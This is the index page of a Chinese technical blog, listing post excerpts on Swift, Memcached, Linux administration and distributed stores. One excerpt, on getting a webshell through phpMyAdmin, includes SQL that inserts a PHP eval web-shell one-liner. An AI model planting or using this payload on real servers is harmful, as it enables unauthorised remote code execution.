智者一切求自己,愚者一切求他人 [登录·注册]

吕滔博客

首页 开发 运维 工具 摄影
  • 01554

    字面量转换

    memory本文主体部分适用于 Swift 1.0。Swift 1.1 beta 2 中该部分内容发生了一些变化,附在文后。所谓字面量,就是指像特定的数字,字符串或者是布尔值这样,能够直接了当地指出自己的类型并为变量进行赋值的值。比如在下面:let aNumber = 3 let aString = "Hello" let aBool = true中的 3,Hello 以及 true 就称为字面量。在 Swift 中,Array 和 Dictionary 在使用简单的描述赋值的时候...

    Swift TIP Swift 发布于 2014-09-30
  • 07235

    大型网站系统架构演化之路

    memory前言一个成熟的大型网站(如淘宝、天猫、腾讯等)的系统架构并不是一开始设计时就具备完整的高性能、高可用、高伸缩等特性的,它是随着用户量的增加,业务功能的 扩展逐渐演变完善的,在这个过程中,开发模式、技术架构、设计思想也发生了很大的变化,就连技术人员也从几个人发展到一个部门甚至一条产品线。所以成熟的 系统架构是随着业务的扩展而逐步完善的,并不是一蹴而就;不同业务特征的系统,会有各自的侧重点,例如淘宝,要解决海量的商品信息的搜索、下单、支付,例 如腾讯,要解决数亿用户的实时消息传输,百度它要处理...

    运维 发布于 2014-09-28
  • 08318

    启用及使用MemCached的SASL认证

    memoryMemcached从1.4.3版本开始,能支持SASL认证 比较适合多个应用共用一个memcached集群 需要在编译时,加上–enable-sasl选项 启动memcached时,增加-S的选项./configure –prefix=%{datadir}  –enable-sasl /usr/local/bin/memcached -S -d -u nobodySASL认证也可以有很多种认证机制,比如pam,shadow,ldap等 下面配置成使用shadow方式去认证#修改/...

    运维 Memcached 发布于 2014-09-25
  • 01519

    Swift 命令行工具

    memorySwift 的 REPL (Read-Eval-Print Loop) 环境可以让我们使用 Swift 进行简单的交互式编程。也就是说每输入一句语句就立即执行和输出。这在很多解释型的语言中是很常见的,非常适合用来对语言的特性进行学习。要启动 REPL 环境,就要使用 Swift 的命令行工具,它是以 xcrun 命令的参数形式存在的。首先我们需要确认使用的 Xcode 版本是否是 6.1 或者以上,如果不是的话,可以在 Xcode 设置里 Locations 中的 Command Line...

    Swift TIP Swift 发布于 2014-09-24
  • 03239

    linux挂载ntfs文件系统,linux下添加大容量的USB移动硬盘

    memory首先去http://www.tuxera.com/community/ntfs-3g-download/下载 解压后编译安装./configure make make install然后查看一下当前的磁盘fdisk -l/dev/sdb1 * 1 38913 312568641 7 HPFS/NTFS 挂载磁盘即可!mount -t ntfs-3g /dev/sdb1 /mnt也可以加到fstab里面/dev/sdb1 /mnt ntfs...

    运维 发布于 2014-09-24
  • 04519

    开源的分布式Key-Value存储系统(缓存服务器)Apache Cassandra

    memoryApache Cassandra是一套开源分布式Key-Value存储系统。它最初由Facebook开发,用于储存特别大的数据。Facebook目前在使用此系统。主要特性:     分布式     基于column的结构化     高伸展性Cassandra的主要特点就是它不是一个数据库,而是由一堆数据库节点共同构成的一个分布式网络服务,对Cassandra 的一个写操作,会被复制到其他节点上去,对C...

    工具 发布于 2014-09-23
  • 03827

    centos下安装高度可扩展的分布式数据存储服务riak

    memoryRiak是以 Erlang 编写的一个高度可扩展的分布式数据存储,Riak的实现是基于Amazon的Dynamo论文,Riak的设计目标之一就是高可用。Riak支持多节点构建的系统,每次读写请求不需要集群内所有节点参与也能胜任。提供一个灵活的 map/reduce 引擎,一个友好的 HTTP/JSON 查询接口。 Riak 非常易于部署和扩展。可以无缝地向群集添加额外的节点。link walking 之类的特性以及对 Map/Reduce 的支持允许实现更加复杂的查询。除了 HTTP AP...

    数据库 CentOS 发布于 2014-09-23
  • 01489

    Swift 方法参数名称的省略

    memoryobjc 在方法命名上可能不太讨初学者喜欢,但是往往有一定经验的 objc 开发者都会爱上 objc 的方法命名。因为详细的参数名和几乎完整及标准的英文可以将方法准确地描述出来,很多时候进行 objc 开发只需要依赖 IDE 的补全,甚至连文档都可以不看。比如 objc 里的 NString 类里有个这样的方法:- (BOOL)writeToFile:(NSString *)path atomically:(BOOL)useAuxiliaryFile ...

    Swift TIP Swift 发布于 2014-09-17
  • 01481

    func 的参数修饰

    memory在声明一个 Swift 的方法的时候,我们一般不去指定参数前面的修饰符,而是直接声明参数:func incrementor(variable: Int) -> Int { return variable + 1 }这个方法接受一个 Int 的输入,然后通过将这个输入加 1,返回一个新的比输入大 1 的 Int。嘛,就是一个简单的 +1器。有些同学在大学的 C 程序设计里可能学过像 ++ 这样的“自增”运算符,再加上做了不少相关的判断一个数被各种前置 ++ 和后置 ++ 折磨后...

    Swift TIP Swift 发布于 2014-09-10
  • 05739

    通过phpmyadmin各种技巧拿webshell

    memory前面已经提到过了如何使用phpmyadmin获得网站的webshell 详细大家可以去看下 phpmyadmin执行语句拿webshell 这里小残将针对这一文章的做一下更为详细的方法: 第一种CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?&g...

    开发 MySQL 发布于 2014-09-10
  • 713993

    在 CentOS 7.0 上源码安装 Xen 4.5

    memory上周 CentOS 7.0 正式版发布了,Xen4CentOS 项目还没来得及更新支持 CentOS 7.0,所以目前要在 CentOS 7.0 上玩 Xen 的唯一办法只有编译源代码了。貌似这次 CentOS 没有发布 Minimal 安装版,下面的编译安装步骤在 LiveCD 安装版(CentOS-7.0-1406-x86_64-livecd.iso)上完成。安装需要的软件包安装完 CentOS 7.0 后第一件事就是启动 SSH 以便能从另外一台机器访问,新版本的 CentOS 引入...

    运维 CentOS 发布于 2014-09-08
  • 04528

    centos中使用 tuned/tuned-adm 工具动态调优系统

    memoryRHEL/CentOS 在 6.3 版本以后引入了一套新的系统调优工具 tuned/tuned-adm,其中 tuned 是服务端程序,用来监控和收集系统各个组件的数据,并依据数据提供的信息动态调整系统设置,达到动态优化系统的目的;tuned-adm 是客户端程序,用来和 tuned 打交道,用命令行的方式管理和配置 tuned,tuned-adm 提供了一些预先配置的优化方案可供直接使用,比如:笔记本、虚拟机、存储服务器等。如果你正在使用笔记本(电池电源),想优化系统、节约电源又不想知道...

    工具 发布于 2014-09-08
  • 06257

    Linux 性能监控、测试、优化工具

    memoryLinux 平台上的性能工具有很多,眼花缭乱,长期的摸索和经验发现最好用的还是那些久经考验的、简单的小工具。系统性能专家 Brendan D. Gregg 在最近的 LinuxCon NA 2014 大会上更新了他那个有名的关于 Linux 性能方面的 talk (Linux Performance Tools) 和幻灯片。 监控 测试 优化

    运维 Linux 发布于 2014-09-08
  • 01603

    操作符

    memory与 objc 这样的 C 系语言不同,Swift 支持重载操作符这样的特性,最常见的使用方式可能就是定义一些简便的计算了。比如我们需要一个表示二维向量的数据结构:struct Vector2D { var x = 0.0 var y = 0.0 }一个很简单的需求是两个 Vector2 相加,比如:let v1 = Vector2D(x: 2.0, y: 3.0) let v2 = Vector2D(x: 1.0, y: 4.0) let v3 = Vector2D(x: ...

    Swift TIP Swift 发布于 2014-09-03
  • 网站状态

    • 栏目分类:49个
    • 发布文章:1324篇
    • 用户评论:697条
    • 开博至今:3998天

    正则速查

    [abc] 匹配中括号中的单个字符,如a或b或c
    [^abc] 匹配除了a、b、c等字符的其他单个字符
    [a-z] 匹配一个字符范围,如a到z
    [a-zA-Z] 匹配一个字符范围,如a-z 或 A-Z
    ^ 匹配行的开始
    $ 匹配行的结束
    \A 匹配一个字符串的开始
    \z 匹配一个字符串的结束
    . 匹配任意单个字符
    \s 匹配空白字符,如空格,TAB
    \S 匹配非空白字符
    \d 匹配一个数字
    \D 匹配非数字
    \w 匹配一个字母
    \W 匹配非字母
    \b 匹配字符边界
    (...) 引用所有括号中的内容
    (a|b) a或者b
    a? 零个或1个a
    a* 零个或多个a
    a+ 1个或多个a
    a{3} 3次重复的a
    a{3,} 3次或3次以上重复的a
    a{3,6} 3到6次重复的a

    修正符

    /g 查找所有可能的匹配
    /i 不区分大小写
    /m 多行匹配
    /s 单行匹配
    /x 忽略空白模式
    /e 可执行模式,PHP专有
    /A 强制从目标字符串开头匹配
    /D 使用$限制结尾字符,则不允许结尾有换行
    /U 只匹配最近的一个字符串;不重复匹配

    最新回复

    • tomxuetao: 能个实例吗?
    • memory: 哈哈哈。。。话说也没毛病。
    • 硫酸亚铁: 看了文章觉得自己已经是松鼠癌了 东西总是先占着 反正我有 什么...
    • xl: 支持一下
    • iHerb海淘攻略: 感谢分享
    • memory: POINT
    • sunyunlin: 数据库应该建些什么字段?
    • pengcheng: 已解决
    • pengcheng: Oops! It seems that sphinx was b...
    • 券都有: 感谢分享
    • memory: 这是我3年前玩过一次,当时因为安装完后,发现日常办公还好,但是好...
    • sdf: 想问一下,激活工具激活后,后面会出现提示要再次重新激活吗?
    • memory: 你要用碗装我吗?还是要我把扔的扔进你碗里???!!! &^_^&
    • 薛才杰: 同感,快扔到我的碗里来。。。
    • memory: 要说明一下,在大陆及香港的云主机或VPS,都是不支持的。原因都懂...
    • 历史趣谈LishiQtan: 很好的文章,值得收藏
    • memory: 现在回头看,,,这么烂的代码,也是醉了.